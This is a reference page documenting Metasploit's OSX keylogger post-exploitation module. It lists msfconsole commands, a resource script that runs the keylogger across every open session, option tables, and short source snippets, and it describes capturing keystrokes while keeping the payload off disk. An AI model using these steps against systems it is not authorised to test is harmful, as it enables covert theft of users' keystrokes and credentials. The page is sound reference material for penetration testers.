OSX Capture Userspace Keylogger - Metasploit
This page contains detailed information about how to use the post/osx/capture/keylog_recorder metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Module Overview
Name: OSX Capture Userspace Keylogger
Module: post/osx/capture/keylog_recorder
Source code: modules/post/osx/capture/keylog_recorder.rb
Disclosure date: -
Last modification time: 2019-04-15 21:01:05 +0000
Supported architecture(s): -
Supported platform(s): OSX
Target service / protocol: -
Target network port(s): -
List of CVEs: -
Logs all keyboard events except cmd-keys and GUI password input. Keylogs are transferred between client/server in chunks every SYNCWAIT seconds for reliability. Works by calling the Carbon GetKeys() hook using the DL lib in OSX's system Ruby. The Ruby code is executed in a shell command using -e, so the payload never hits the disk.
Module Ranking and Traits
Module Ranking:
- normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.
Basic Usage
There are two ways to execute this post module.
From the Meterpreter prompt
The first is by using the "run" command at the Meterpreter prompt. It allows you to run the post module against that specific session:
meterpreter > run post/osx/capture/keylog_recorder
From the msf prompt
The second is by using the "use" command at the msf prompt. You will have to figure out which session ID to set manually. To list all session IDs, you can use the "sessions" command.
msf > use post/osx/capture/keylog_recorder
msf post(keylog_recorder) > show options
... show and set options ...
msf post(keylog_recorder) > set SESSION session-id
msf post(keylog_recorder) > exploit
If you wish to run the post against all sessions from framework, here is how:
1 - Create the following resource script:
framework.sessions.each_pair do |sid, session|
run_single("use post/osx/capture/keylog_recorder")
run_single("set SESSION #{sid}")
run_single("run")
end
2 - At the msf prompt, execute the above resource script:
msf > resource path-to-resource-script
Required Options
- SESSION: The session to run this module on.
Go back to menu.
Msfconsole Usage
Here is how the osx/capture/keylog_recorder post exploitation module looks in the msfconsole:
msf6 > use post/osx/capture/keylog_recorder
msf6 post(osx/capture/keylog_recorder) > show info
Name: OSX Capture Userspace Keylogger
Module: post/osx/capture/keylog_recorder
Platform: OSX
Arch:
Rank: Normal
Provided by:
joev <[email protected]>
Compatible session types:
Meterpreter
Shell
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
DURATION 600 yes The duration in seconds.
LOGPORT 22899 no Local port opened momentarily for log transfer
SESSION yes The session to run this module on.
SYNCWAIT 10 yes The time between transferring log chunks.
Description:
Logs all keyboard events except cmd-keys and GUI password input.
Keylogs are transferred between client/server in chunks every
SYNCWAIT seconds for reliability. Works by calling the Carbon
GetKeys() hook using the DL lib in OSX's system Ruby. The Ruby code
is executed in a shell command using -e, so the payload never hits
the disk.
Module Options
This is a complete list of options available in the osx/capture/keylog_recorder post exploitation module:
msf6 post(osx/capture/keylog_recorder) > show options
Module options (post/osx/capture/keylog_recorder):
Name Current Setting Required Description
---- --------------- -------- -----------
DURATION 600 yes The duration in seconds.
LOGPORT 22899 no Local port opened momentarily for log transfer
SESSION yes The session to run this module on.
SYNCWAIT 10 yes The time between transferring log chunks.
Advanced Options
Here is a complete list of advanced options supported by the osx/capture/keylog_recorder post exploitation module:
msf6 post(osx/capture/keylog_recorder) > show advanced
Module advanced options (post/osx/capture/keylog_recorder):
Name Current Setting Required Description
---- --------------- -------- -----------
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Post Actions
This is a list of all post exploitation actions which the osx/capture/keylog_recorder module can do:
msf6 post(osx/capture/keylog_recorder) > show actions
Post actions:
Name Description
---- -----------
Evasion Options
Here is the full list of possible evasion options supported by the osx/capture/keylog_recorder post exploitation module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 post(osx/capture/keylog_recorder) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
Go back to menu.
Error Messages
This module may fail with the following error messages:
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
Ruby keylogger command failed with error <RPID>
Here is a relevant code snippet related to the "Ruby keylogger command failed with error <RPID>" error message:
68:
69: if rpid =~ /^\d+/
70: print_status "Ruby process executing with pid #{rpid.to_i}"
71: rpid.to_i
72: else
73: fail_with(Failure::Unknown, "Ruby keylogger command failed with error #{rpid}")
74: end
75: end
76:
77:
78: def run
Invalid SESSION id.
Here is a relevant code snippet related to the "Invalid SESSION id." error message:
75: end
76:
77:
78: def run
79: if session.nil?
80: print_error "Invalid SESSION id."
81: return
82: end
83:
84: if datastore['DURATION'].to_i < 1
85: print_error 'Invalid DURATION value.'
Invalid DURATION value.
Here is a relevant code snippet related to the "Invalid DURATION value." error message:
80: print_error "Invalid SESSION id."
81: return
82: end
83:
84: if datastore['DURATION'].to_i < 1
85: print_error 'Invalid DURATION value.'
86: return
87: end
88:
89: print_status "Executing ruby command to start keylogger process."
90:
Go back to menu.
Related Pull Requests
- #11733 Merged Pull Request: osx docs and cleanup
- #9868 Merged Pull Request: Fixing broken imports for keylog_recorder.rb and improving control chars
- #6655 Merged Pull Request: use MetasploitModule as a class name
- #6648 Merged Pull Request: Change metasploit class names
- #5173 Merged Pull Request: fix fail_with errors
- #4509 Merged Pull Request: Resolve #4507 - Preserve the necessary evilness of respond_to? + send
- #2525 Merged Pull Request: Change module boilerplate
- #2479 Merged Pull Request: Better fix for #2476
- #2304 Merged Pull Request: Fix load order in posts, hopefully forever
- #2322 Merged Pull Request: Msftidy: use binary on File.open always
Go back to menu.
See Also
Check also the following modules related to this module:
Authors
- joev
Version
This page has been produced using Metasploit Framework version 6.1.24-dev. For more modules, visit the Metasploit Module Library.
Go back to menu.